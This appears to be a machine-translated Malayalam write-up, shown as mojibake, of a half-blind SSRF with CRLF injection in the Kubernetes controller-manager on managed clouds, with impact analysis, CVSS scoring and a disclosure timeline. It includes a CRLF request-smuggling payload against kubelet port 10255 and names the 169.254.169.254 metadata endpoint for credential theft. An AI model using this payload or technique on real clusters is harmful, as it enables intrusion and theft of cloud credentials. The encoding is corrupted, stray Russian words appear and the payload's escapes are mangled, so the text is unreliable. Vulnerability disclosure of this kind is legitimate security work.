เด‡เดคเดฟเดจเตเดชเตเดฑเดฎเต†, เดฆเดพเดคเดพเดตเต เด•เตเดฒเดฏเดจเตเดฑเตเด•เตพเด•เตเด•เต K8s เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดจเตเดฑเต† เดชเดดเดฏ เดชเดคเดฟเดชเตเดชเตเด•เตพ เดตเดพเด—เตเดฆเดพเดจเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเตเดตเต†เด™เตเด•เดฟเตฝ ะธ เด•เตเดฏเต‚เดฌเต-เด•เตบเดŸเตเดฐเต‹เดณเตผ-เดฎเดพเดจเต‡เดœเดฑเตเดŸเต† เดฒเต‹เด—เตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เด…เดตเตผเด•เตเด•เต เดชเตเดฐเดตเต‡เดถเดจเด‚ เดจเตฝเด•เดฟ, เดชเตเดฐเดญเดพเดตเด‚ เด•เต‚เดŸเตเดคเตฝ เดชเตเดฐเดพเดงเดพเดจเตเดฏเดฎเตผเดนเดฟเดšเตเดšเต.

เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต เด…เดตเดจเตเดฑเต† เดตเดฟเดตเต‡เดšเดจเดพเดงเดฟเด•เดพเดฐเดคเตเดคเดฟเตฝ เด’เดฐเต เดชเต‚เตผเดฃเตเดฃ HTTP เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚ เดฒเดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดฐเต‚เดชเด•เตฝเดชเตเดชเดจ เดšเต†เดฏเตเดค HTTP เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดฎเดพเดฑเตเดฑเตเดจเตเดจเดคเต เดตเดณเดฐเต† เดธเต—เด•เดฐเตเดฏเดชเตเดฐเดฆเดฎเดพเดฃเต.

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด…เดตเดธเดพเดจ เดธเดพเดนเดšเดฐเตเดฏเด‚ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดพเตป, เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดตเตเดฏเดตเดธเตเดฅเด•เตพ เดชเดพเดฒเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต:

  • เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเดฟเดจเต kube-controller-manager เดฒเต‹เด—เตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เด†เด•เตโ€Œเดธเดธเต เด‰เดฃเตเดŸเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚ (เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, Azure LogInsights-เตฝ).
  • เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เตเดฒเดธเตเดฑเตเดฑเตผ 1.12-เตฝ เดคเดพเดดเต†เดฏเตเดณเตเดณ เด—เต‹เดฒเดพเด™เตเด™เดฟเดจเตเดฑเต† เดชเดคเดฟเดชเตเดชเต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดฃเด‚.

GlusterFS Go เด•เตเดฒเดฏเดจเตเดฑเตเด‚ เดตเตเดฏเดพเดœ เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดธเต†เตผเดตเดฑเตเด‚ เดคเดฎเตเดฎเดฟเดฒเตเดณเตเดณ เด†เดถเดฏเดตเดฟเดจเดฟเดฎเดฏเด‚ เด…เดจเตเด•เดฐเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟ เดžเด™เตเด™เตพ เดตเดฟเดจเตเดฏเดธเดฟเดšเตเดšเต (เดžเด™เตเด™เตพ เด‡เดชเตเดชเต‹เตพ PoC เดชเตเดฐเดธเดฟเดฆเตเดงเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเตฝ เดจเดฟเดจเตเดจเต เดตเดฟเดŸเตเดŸเตเดจเดฟเตฝเด•เตเด•เตเด‚).

เด•เดฃเตเดŸเต†เดคเตเดคเดฟ เดฆเตเตผเดฌเดฒเดค, 1.12-เตฝ เดคเดพเดดเต†เดฏเตเดณเตเดณ Golang เดชเดคเดฟเดชเตเดชเตเด•เดณเต† เดฌเดพเดงเดฟเด•เตเด•เตเด•เดฏเตเด‚ HTTP เด•เดณเตเดณเด•เตเด•เดŸเดคเตเดคเต/CRLF เด†เด•เตเดฐเดฎเดฃเด™เตเด™เตพ เดจเดŸเดคเตเดคเดพเตป เดนเดพเด•เตเด•เตผเดฎเดพเดฐเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต.

เดฎเตเด•เดณเดฟเตฝ เดตเดฟเดตเดฐเดฟเดšเตเดš เด…เตผเดฆเตเดง-เด…เดจเตเดงเดฎเดพเดฏ SSRF เดธเด‚เดฏเต‹เดœเดฟเดชเตเดชเดฟเดšเตเดšเตเด•เตŠเดฃเตเดŸเต ะฒะผะตัั‚ะต เด‡เดคเตเดชเดฏเต‹เด—เดฟเดšเตเดšเต, kube-controller-manager เดชเดฟเดจเตเดจเต€เดŸเต เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดค เดนเต†เดกเดฑเตเด•เตพ, HTTP เดฐเต€เดคเดฟ, เดชเดพเดฐเดพเดฎเต€เดฑเตเดฑเดฑเตเด•เตพ, เดกเดพเดฑเตเดฑ เดŽเดจเตเดจเดฟเดต เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเด•เตเด•เตเดจเตเดจเดคเต เด‰เตพเดชเตเดชเต†เดŸเต†เดฏเตเดณเตเดณ เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดžเด™เตเด™เตพเด•เตเด•เต เด…เดฏเดฏเตโ€Œเด•เตเด•เดพเตป เด•เดดเดฟเดžเตเดžเต.

เด’เดฐเต เดชเดฐเดพเดฎเต€เดฑเตเดฑเดฑเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ "เดญเต‹เด—" เดคเตเดคเดฟเดจเตเดฑเต† เด’เดฐเต เด‰เดฆเดพเดนเดฐเดฃเด‚ เด‡เดคเดพ resturl เดธเดฎเดพเดจเดฎเดพเดฏ เด’เดฐเต เด†เด•เตเดฐเดฎเดฃ เดธเดพเดนเดšเดฐเตเดฏเด‚ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจ เดธเตเดฑเตเดฑเต‹เดฑเต‡เดœเตเด•เตเดฒเดพเดธเต:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

เดซเดฒเด‚ เด’เดฐเต เดชเดฟเดถเด•เดพเดฃเต เด†เดตเดถเตเดฏเดชเตเดชเต†เดŸเดพเดคเตเดค เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚, เด•เตบเดŸเตเดฐเต‹เดณเตผ เดฒเต‹เด—เตเด•เดณเดฟเตฝ เดฐเต‡เด–เดชเตเดชเต†เดŸเตเดคเตเดคเดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดธเดจเตเดฆเต‡เดถเด‚. เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟเดฏเดพเดฏเดฟ เดตเต†เตผเดฌเต‹เดธเดฟเดฑเตเดฑเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดจเด•เตเดทเดฎเดฎเดพเด•เตเด•เดฟเดฏเดคเดฟเดจเต เดจเดจเตเดฆเดฟ, HTTP เดชเตเดฐเดคเดฟเด•เดฐเดฃ เดธเดจเตเดฆเต‡เดถเดคเตเดคเดฟเดจเตเดฑเต† เด‰เดณเตเดณเดŸเด•เตเด•เด™เตเด™เดณเตเด‚ เด…เดตเดฟเดŸเต† เดธเด‚เดฐเด•เตเดทเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดจเตเดจเต.

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด†เดถเดฏเดคเตเดคเดฟเดจเตเดฑเต† เดคเต†เดณเดฟเดตเดฟเดจเตเดฑเต† เดšเดŸเตเดŸเด•เตเด•เต‚เดŸเดฟเดจเตเดณเตเดณเดฟเตฝ เด‡เดคเต เดžเด™เตเด™เดณเตเดŸเต† เดเดฑเตเดฑเดตเตเด‚ เดซเดฒเดชเตเดฐเดฆเดฎเดพเดฏ "เดšเต‚เดฃเตเดŸ" เด†เดฏเดฟเดฐเตเดจเตเดจเต.

เดˆ เดธเดฎเต€เดชเดจเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต, เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค k8s เดฆเดพเดคเดพเด•เตเด•เดณเตเดŸเต† เด•เตเดฒเดธเตเดฑเตเดฑเดฑเตเด•เดณเดฟเตฝ เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดšเดฟเดฒ เด†เด•เตเดฐเดฎเดฃเด™เตเด™เตพ เดจเดŸเดคเตเดคเดพเตป เดžเด™เตเด™เตพเด•เตเด•เต เด•เดดเดฟเดžเตเดžเต: เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ เดธเด‚เดญเดตเด™เตเด™เดณเดฟเดฒเต† เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เดณเต‹เดŸเต เด•เต‚เดŸเดฟเดฏ เดชเตเดฐเดคเตเดฏเต‡เด•เดพเดตเด•เดพเดถ เดตเตผเดฆเตเดงเดจเดตเต, etcd เดฎเดพเดธเตเดฑเตเดฑเตผ เด‡เตปเดธเตโ€Œเดฑเตเดฑเตปเดธเตเด•เดณเดฟเตฝ (เดŽเตปเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดšเต†เดฏเตเดฏเดพเดคเตเดค) HTTP เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดตเดดเดฟเดฏเตเดณเตเดณ Master DoS เดฎเตเดคเดฒเดพเดฏเดต.

เดชเดฐเดฟเดฃเดคเดซเดฒเด™เตเด™เตพ

เดžเด™เตเด™เตพ เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏ SSRF เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดธเด‚เดฌเดจเตเดงเดฟเดšเตเดš Kubernetes เด”เดฆเตเดฏเต‹เด—เดฟเด• เดชเตเดฐเดธเตเดคเดพเดตเดจเดฏเดฟเตฝ, เด…เดคเต เดฑเต‡เดฑเตเดฑเตเดšเต†เดฏเตเดคเต CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดšเตเดฑเตเดฑเดณเดตเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเต†เดŸเตเดŸ เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเด‚ เดชเดฐเดฟเด—เดฃเดฟเด•เตเด•เตเด•เดฏเดพเดฃเต†เด™เตเด•เดฟเตฝ, เดธเดฎเด—เตเดฐเดค เดตเต†เด•เตเดฑเตเดฑเตผ (เด‡เดจเตเดฑเด—เตเดฐเดฟเดฑเตเดฑเดฟ เดตเต†เด•เตเดฑเตเดฑเตผ) เด†เดฏเดฟ เดฏเต‹เด—เตเดฏเดค เดจเต‡เดŸเตเดจเตเดจเต เด’เดจเตเดจเตเดฎเดฟเดฒเตเดฒ.

เดŽเดจเตเดจเดฟเดฐเตเดจเตเดจเดพเดฒเตเด‚, เด’เดฐเต เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดธเต‡เดตเดจ เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเตเดŸเต† เดชเดถเตเดšเดพเดคเตเดคเดฒเดคเตเดคเดฟเตฝ เดธเดพเดงเตเดฏเดฎเดพเดฏ เด…เดจเดจเตเดคเดฐเดซเดฒเด™เตเด™เตพ เดตเดฟเดฒเดฏเดฟเดฐเตเดคเตเดคเตเดจเตเดจเดคเต (เดžเด™เตเด™เดณเตเดŸเต† เด—เดตเต‡เดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดเดฑเตเดฑเดตเตเด‚ เดฐเดธเด•เดฐเดฎเดพเดฏ เดญเดพเด—เดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต เด‡เดคเต!) เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเต† เด’เดฐเต เดฑเต‡เดฑเตเดฑเดฟเด‚เด—เดฟเดฒเต‡เด•เตเด•เต เดตเต€เดฃเตเดŸเตเด‚ เดตเตผเด—เตเด—เต€เด•เดฐเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เดณเต† เดชเตเดฐเต‡เดฐเดฟเดชเตเดชเดฟเดšเตเดšเต. เด—เตเดฐเตเดคเดฐเดฎเดพเดฏ CVSS10/10 เดชเดฒ เดตเดฟเดคเดฐเดฃเด•เตเด•เดพเตผเด•เตเด•เตเด‚.

เด•เตเดฒเต—เดกเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเด•เดณเดฟเตฝ เด‰เดฃเตเดŸเดพเด•เดพเดจเดฟเดŸเดฏเตเดณเตเดณ เดชเตเดฐเดคเตเดฏเดพเด˜เดพเดคเด™เตเด™เตพ เดตเดฟเดฒเดฏเดฟเดฐเตเดคเตเดคเตเดฎเตเดชเต‹เตพ เดžเด™เตเด™เดณเตเดŸเต† เดชเดฐเดฟเด—เดฃเดจเด•เตพ เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเด•เดพเตป เดจเดฟเด™เตเด™เดณเต† เดธเดนเดพเดฏเดฟเด•เตเด•เตเดจเตเดจ เด…เดงเดฟเด• เดตเดฟเดตเดฐเด™เตเด™เตพ เดšเตเดตเดŸเต†เดฏเตเดฃเตเดŸเต:

เดธเดฎเด—เตเดฐเดค

  • เดจเต‡เดŸเดฟเดฏ เด†เดจเตเดคเดฐเดฟเด• เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดตเดฟเดฆเต‚เดฐเดฎเดพเดฏเดฟ เด•เดฎเดพเตปเดกเตเด•เตพ เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเด•.
  • เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เดฟเตฝ เด•เดพเดฃเตเดจเตเดจ เดฎเดฑเตเดฑเต เด‰เดฑเดตเดฟเดŸเด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต IDOR (เด‡เตปเดธเต†เด•เตเดฏเตเตผ เดกเดฏเดฑเด•เตโ€ŒเดŸเต เด’เดฌเตโ€Œเดœเด•เตเดฑเตเดฑเต เดฑเดซเดฑเตปเดธเต) เดฐเต€เดคเดฟ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดธเดพเดนเดšเดฐเตเดฏเด‚ เดชเตเดจเตผเดจเดฟเตผเดฎเตเดฎเดฟเด•เตเด•เตเดจเตเดจเต.

เดฐเดนเดธเตเดฏเดพเดคเตเดฎเด•เด‚

  • เด†เด•เตเดฐเดฎเดฃ เดคเดฐเด‚ เดฒเดพเดฑเตเดฑเดฑเตฝ เดฎเต‚เดตเตเดฎเต†เดจเตเดฑเต เด•เตเดฒเต—เดกเต เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เดณเตเดŸเต† เดฎเต‹เดทเดฃเดคเตเดคเดฟเดจเต เดจเดจเตเดฆเดฟ (เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ API).
  • เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตเด•เดพเตป เดšเต†เดฏเตเดคเตเด•เตŠเดฃเตเดŸเต เดตเดฟเดตเดฐเด™เตเด™เตพ เดถเต‡เด–เดฐเดฟเด•เตเด•เตเดจเตเดจเต (เดŽเดธเตเดŽเดธเตเดŽเดšเตเดšเต เดชเดคเดฟเดชเตเดชเต, เดŽเดšเตเดšเตเดŸเดฟเดŸเดฟเดชเดฟ เดธเต†เตผเดตเตผ เดชเดคเดฟเดชเตเดชเต, ...).
  • เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ API เดชเต‹เดฒเตเดณเตเดณ เด†เดจเตเดคเดฐเดฟเด• API-เด•เตพ เดตเต‹เดŸเตเดŸเต†เดŸเตเดชเตเดชเดฟเดฒเต‚เดŸเต† เด‰เดฆเดพเดนเดฐเดฃเด™เตเด™เดณเตเด‚ เด…เดŸเดฟเดธเตเดฅเดพเดจ เดธเต—เด•เดฐเตเดฏ เดตเดฟเดตเดฐเด™เตเด™เดณเตเด‚ เดถเต‡เด–เดฐเดฟเด•เตเด•เตเด• (http://169.254.169.254,โ€ฆ).
  • เด•เตเดฒเต—เดกเต เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด‰เดชเดญเต‹เด•เตเดคเตƒ เดกเดพเดฑเตเดฑ เดฎเต‹เดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจเต.

เดฒเดญเตเดฏเดค

เด†เด•เตเดฐเดฎเดฃ เดตเต†เด•เตโ€ŒเดŸเดฑเตเด•เดณเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเต†เดŸเตเดŸ เดŽเดฒเตเดฒเดพ เดšเต‚เดทเดฃ เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เดณเตเด‚ เดธเดฎเด—เตเดฐเดค, เดตเดฟเดจเดพเดถเด•เดฐเดฎเดพเดฏ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพเด•เตเด•เดพเดฏเดฟ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด•เดฏเตเด‚ เด•เตเดฒเดฏเดจเตเดฑเต เดชเดฐเดฟเดงเดฟเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต (เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดฎเดฑเตเดฑเต‡เดคเต†เด™เตเด•เดฟเดฒเตเด‚) เดฎเดพเดธเตเดฑเตเดฑเตผ เดธเด‚เดญเดตเด™เตเด™เดณเดฟเดฒเต‡เด•เตเด•เต เดจเดฏเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเดพเด‚.

เดžเด™เตเด™เตพ เด’เดฐเต เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค K8s เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ เด†เดฏเดฟเดฐเตเดจเตเดจเดคเดฟเดจเดพเดฒเตเด‚ เดธเดฎเด—เตเดฐเดคเดฏเดฟเดฒเต† เด†เด˜เดพเดคเด‚ เดตเดฟเดฒเดฏเดฟเดฐเตเดคเตเดคเตเดจเตเดจเดคเดฟเดจเดพเดฒเตเด‚, เดฒเดญเตเดฏเดคเดฏเต† เดฌเดพเดงเดฟเดšเตเดšเต‡เด•เตเด•เดพเดตเตเดจเตเดจ เดจเดฟเดฐเดตเดงเดฟ เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เตพ เดจเดฎเตเด•เตเด•เต เดธเด™เตเด•เตฝเดชเตเดชเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚. เด…เดงเดฟเด• เด‰เดฆเดพเดนเดฐเดฃเด™เตเด™เดณเดฟเตฝ etcd เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเต เด•เต‡เดŸเดพเด•เตเด•เตเด•เดฏเต‹ Kubernetes API-เดฒเต‡เด•เตเด•เต เด’เดฐเต เดจเดฟเตผเดฃเดพเดฏเด• เด•เต‹เตพ เดšเต†เดฏเตเดฏเตเด•เดฏเต‹ เด‰เตพเดชเตเดชเต†เดŸเตเดจเตเดจเต.

เดŸเตˆเด‚เดฒเตˆเตป

  • เดกเดฟเดธเด‚เดฌเตผ 6, 2019: MSRC เดฌเด—เต เดฌเต—เดฃเตเดŸเดฟเดฏเดฟเตฝ เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฑเดฟเดชเตเดชเต‹เตผเดŸเตเดŸเต เดšเต†เดฏเตเดคเต.
  • เดœเดจเตเดตเดฐเดฟ 3, 2020: เดžเด™เตเด™เตพ เด’เดฐเต เดธเตเดฐเด•เตเดทเดพ เดชเตเดฐเดถเตโ€Œเดจเดคเตเดคเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเตเดฃเตเดŸเต†เดจเตเดจเต เด’เดฐเต เดฎเต‚เดจเตเดจเดพเด‚ เด•เด•เตเดทเดฟ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดกเต†เดตเดฒเดชเตเดชเตผเดฎเดพเดฐเต† เด…เดฑเดฟเดฏเดฟเดšเตเดšเต. SSRF เด’เดฐเต เด†เดจเตเดคเดฐเดฟเด• (เด‡เตป-เด•เต‹เตผ) เดฆเตเตผเดฌเดฒเดคเดฏเดพเดฏเดฟ เด•เดฃเด•เตเด•เดพเด•เตเด•เดพเตป เด…เดตเดฐเต‹เดŸเต เด†เดตเดถเตเดฏเดชเตเดชเต†เดŸเตเดŸเต. เดชเตเดฐเดถเตโ€Œเดจเดคเตเดคเดฟเดจเตเดฑเต† เด‰เดฑเดตเดฟเดŸเดคเตเดคเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดธเดพเด™เตเด•เต‡เดคเดฟเด• เดตเดฟเดถเดฆเดพเด‚เดถเด™เตเด™เดณเตเดณเตเดณ เด’เดฐเต เดชเตŠเดคเต เดฑเดฟเดชเตเดชเต‹เตผเดŸเตเดŸเต เดžเด™เตเด™เตพ เดชเดฟเดจเตเดจเต€เดŸเต เดจเตฝเด•เดฟ.
  • เดœเดจเตเดตเดฐเดฟ 15, 2020: Kubernetes เดกเดตเดฒเดชเตเดชเตผเดฎเดพเดฐเตเดŸเต† เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดชเตเดฐเด•เดพเดฐเด‚ (HackerOne เดชเตเดฒเดพเดฑเตเดฑเตโ€Œเดซเต‹เด‚ เดตเดดเดฟ) เดžเด™เตเด™เตพ เดธเดพเด™เตเด•เต‡เดคเดฟเด•เดตเตเด‚ เดชเตŠเดคเตเดตเดพเดฏเดคเตเดฎเดพเดฏ เดฑเดฟเดชเตเดชเต‹เตผเดŸเตเดŸเตเด•เตพ เดจเตฝเด•เดฟ.
  • เดœเดจเตเดตเดฐเดฟ 15, 2020: เด•เดดเดฟเดžเตเดž เดฑเดฟเดฒเต€เดธเตเด•เตพเด•เตเด•เตเดณเตเดณ เด…เตผเดฆเตเดง-เด…เดจเตเดงเดฎเดพเดฏ SSRF + CRLF เด•เตเดคเตเดคเดฟเดตเดฏเตเดชเตเดชเต เด‡เตป-เด•เต‹เตผ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเดพเดฏเดฟ เด•เดฃเด•เตเด•เดพเด•เตเด•เตเดจเตเดจเตเดตเต†เดจเตเดจเต Kubernetes เดกเดตเดฒเดชเตเดชเตผเดฎเดพเตผ เดžเด™เตเด™เดณเต† เด…เดฑเดฟเดฏเดฟเดšเตเดšเต. เดฎเดฑเตเดฑเต เดธเต‡เดตเดจ เดฆเดพเดคเดพเด•เตเด•เดณเตเดŸเต† เดชเดฐเดฟเดงเดฟเด•เตพ เดตเดฟเดถเด•เดฒเดจเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต เดžเด™เตเด™เตพ เด‰เดŸเตป เดจเดฟเตผเดคเตเดคเดฟ: K8s เดŸเต€เด‚ เด‡เดชเตเดชเต‹เตพ เดฎเต‚เดฒเด•เดพเดฐเดฃเด‚ เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเตเด•เดฏเดพเดฏเดฟเดฐเตเดจเตเดจเต.
  • เดœเดจเตเดตเดฐเดฟ 15, 2020: MSRC เดฑเดฟเดตเดพเตผเดกเต HackerOne เดตเดดเดฟ เดฒเดญเดฟเดšเตเดšเต.
  • เดœเดจเตเดตเดฐเดฟ 16, 2020: เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดชเดฟเดŽเดธเตโ€Œเดธเดฟ (เดชเตเดฐเตŠเดกเด•เตโ€Œเดฑเตเดฑเต เดธเต†เด•เตเดฏเต‚เดฐเดฟเดฑเตเดฑเดฟ เด•เดฎเตเดฎเดฟเดฑเตเดฑเดฟ) เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เดคเดฟเดฐเดฟเดšเตเดšเดฑเดฟเดฏเตเด•เดฏเตเด‚ เด‡เดฐเด•เดณเตเดŸเต† เดŽเดฃเตเดฃเด‚ เด•เต‚เดŸเตเดคเดฒเดพเดฏเดคเดฟเดจเดพเตฝ เดฎเดพเตผเดšเตเดšเต เดชเด•เตเดคเดฟ เดตเดฐเต† เดฐเดนเดธเตเดฏเดฎเดพเดฏเดฟ เดธเต‚เด•เตเดทเดฟเด•เตเด•เดพเตป เด†เดตเดถเตเดฏเดชเตเดชเต†เดŸเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดคเต.
  • เดซเต†เดฌเตเดฐเตเดตเดฐเดฟ 11, 2020: Google VRP เดฑเดฟเดตเดพเตผเดกเต เดฒเดญเดฟเดšเตเดšเต.
  • เดฎเดพเตผเดšเตเดšเต 4, 2020: HackerOne-เดฒเต‚เดŸเต† Kubernetes เดฑเดฟเดตเดพเตผเดกเต เดฒเดญเดฟเดšเตเดšเต.
  • 15 เดฎเดพเตผเดšเตเดšเต 2020: เด•เต‹เดตเดฟเดกเต-19 เดธเดพเดนเดšเดฐเตเดฏเด‚ เด•เดพเดฐเดฃเด‚ เด†เดฆเตเดฏเด‚ เดทเต†เดกเตเดฏเต‚เตพ เดšเต†เดฏเตเดค เดชเตŠเดคเต เดตเต†เดณเดฟเดชเตเดชเต†เดŸเตเดคเตเดคเตฝ เดฎเดพเดฑเตเดฑเดฟเดตเดšเตเดšเต.
  • เดœเต‚เตบ 1, 2020: เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต + เดฎเตˆเด•เตเดฐเต‹เดธเต‹เดซเตเดฑเตเดฑเต เดธเด‚เดฏเตเด•เตเดค เดชเตเดฐเดธเตเดคเดพเดตเดจ.

เด…เดšเตเดšเต เดกเดฟ.เด†เตผ.

  • เดžเด™เตเด™เตพ เดฌเดฟเดฏเตผ เด•เตเดŸเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดชเดฟเดธเตเดธ เด•เดดเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต :)
  • เด•เตเดฌเต†เตผเดจเต†เดฑเตเดฑเดธเดฟเตฝ เดžเด™เตเด™เตพ เด’เดฐเต เด‡เตป-เด•เต‹เตผ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เด•เดฃเตเดŸเต†เดคเตเดคเดฟ, เด…เด™เตเด™เดจเต† เดšเต†เดฏเตเดฏเดพเตป เดžเด™เตเด™เตพเด•เตเด•เต เด‰เดฆเตเดฆเต‡เดถเตเดฏเดฎเดฟเดฒเตเดฒเต†เด™เตเด•เดฟเดฒเตเด‚.
  • เดตเตเดฏเดคเตเดฏเดธเตโ€Œเดค เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเด•เตเด•เดณเตเดŸเต† เด•เตเดฒเดธเตเดฑเตเดฑเดฑเตเด•เดณเดฟเตฝ เดžเด™เตเด™เตพ เด…เดงเดฟเด• เดตเดฟเดถเด•เดฒเดจเด‚ เดจเดŸเดคเตเดคเดฟ, เด…เดงเดฟเด• เด†เด•เตผเดทเดฃเต€เดฏเดฎเดพเดฏ เดฌเต‹เดฃเดธเตเด•เตพ เดฒเดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เดฎเต‚เดฒเดฎเตเดฃเตเดŸเดพเด•เตเดจเตเดจ เดจเดพเดถเดจเดทเตเดŸเด™เตเด™เตพ เดตเตผเดฆเตเดงเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดžเตเดžเต.
